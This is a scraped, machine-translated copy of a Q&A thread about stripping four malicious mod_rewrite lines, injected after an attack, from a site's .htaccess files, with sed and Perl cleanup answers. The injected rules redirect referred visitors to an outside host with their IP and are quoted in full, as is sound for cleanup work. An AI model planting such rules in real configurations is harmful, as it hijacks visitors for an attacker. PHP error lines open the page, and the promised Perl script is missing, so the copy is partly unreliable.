Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/ruby-on-rails/61.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Apache 从文件中删除文本块:sed?_Apache_Bash_.htaccess_Mod Rewrite_Sed - Fatal编程技术网

Apache 从文件中删除文本块:sed?

Apache 从文件中删除文本块:sed?,apache,bash,.htaccess,mod-rewrite,sed,Apache,Bash,.htaccess,Mod Rewrite,Sed,在一次攻击之后,我需要删除我网站中添加到.htaccess文件中的4行文本,我认为SED是一种方法,但我看不出有多少尝试 添加的行是 RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://targeturlhere.net/%{REMOTE_ADDR} 我设法创建了脚本来删除添加的htaccess文件,其中只包含这些

在一次攻击之后,我需要删除我网站中添加到.htaccess文件中的4行文本,我认为SED是一种方法,但我看不出有多少尝试

添加的行是

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://targeturlhere.net/%{REMOTE_ADDR}
我设法创建了脚本来删除添加的htaccess文件,其中只包含这些行,但是对于附加了这些行的现有htaccess文件,我必须编辑该文件,并且无法删除它。我不能逐行删除,也不能使用“RewriteEngine On”作为开始标记,因为该指令“RewriteEngine On”有时在文件的其他地方是合法的

在大多数情况下,这些行是最后一行,但我猜在其他文件中它们可能在中间,所以我试图删除那个块,并且在类似的情况下,我可以重用一个脚本。 (编辑:我的4行相互下方,中间没有空行,但此处的编辑器似乎要么不显示特征线,要么添加了空行)


有什么提示吗?谢谢。

如果您无法触发“RewriteEngine On”行(因为它偶尔被合法使用),那么“sed”可能不是该作业的正确工具。我将使用Perl(测试代码如下):

你可能有其他的方法来做,但它只需要这么复杂。我假设您有一个适当初始化的变量
tmp

tmp=${TMPDIR:-/tmp}/fixit.$$
您可能希望包括陷阱以确保文件已清理:

trap "rm -f $tmp.?; exit 1" 0 1 2 3 13 15
...code as above...
rm -f $tmp.?
trap 0
exit 0
第一个陷阱行捕获信号1(HUP)、2(INT)、3(QUIT)、13(PIPE)和15(TERM),加上任何自行退出的shell(0),并执行给定的命令(删除临时文件并以失败状态退出)。错误的
rm-f
行确保文件丢失;
trap 0
取消“外壳自动退出”的陷阱,
exit 0
成功退出。这意味着您可以中断处理,而不会留下散乱的文件——这是创建临时文件的任何shell脚本的良好实践

或者,您可以使用:

perl -i.bak fixit.pl $file
这将使用原始文件创建一个文件名“$file.bak”,输出将转到原始文件名“$file”。这样可以避免使用陷阱等。如果不需要备份文件,请从命令行中省略“.bak”

sed '1{N;N};N;\|\nRewriteRule . http://targeturlhere.net/%{REMOTE_ADDR}$|d;P;D' inputfile
这将查找四个集合中的最后一行,找到后将删除它们。它通过所有其他线路


您可以添加
-i
选项(
sed-i…
)以使其修改文件。您可以添加一个可选的备份扩展以使其备份原始(
sed-i.bak…
)。

这是一个很好的示例,但是我不熟悉Perl,已经有了一个可以运行的bash脚本,可以列出和扫描托管站点,然后删除只包含这些行的文件,我正在等待添加该编辑功能。我现在可以在该脚本中简单地使用Perl吗,或者通过调用它来使用Perl吗?哇,印象深刻;-)再次使用Perl很好,尽管我几年前就停止使用它了。这个想法似乎可行,但我最终得到了一个未经编辑的文件,因此我猜模式不匹配,即我认为它没有准确定位这4行。我想这里的编辑器会改变它,我试图删除空格,但没有乐趣……会继续挖掘。@Denis:当我复制上面示例中要匹配的模式时,它似乎工作得很好。调试时我做的一件事是注释掉4条匹配行中的3条,并在样本数据上运行代码,以确保模式匹配并被删除-只需在行前面放一个
#
。这将允许您发现正则表达式的哪一部分与您的想法不匹配。我用一份你在问题中引用的句子做了测试;如果这些与文件中的内容不匹配,显然您必须相应地进行调整。整洁,虽然它不能验证这4行是否都匹配模式,但它只是假设如果第4行匹配,它们就会匹配。这可能安全,也可能不安全。@Jonathan:如果您愿意,可以在匹配中添加其他行:
\^line1\nline2\nline3\nline4$
perl -i.bak fixit.pl $file
sed '1{N;N};N;\|\nRewriteRule . http://targeturlhere.net/%{REMOTE_ADDR}$|d;P;D' inputfile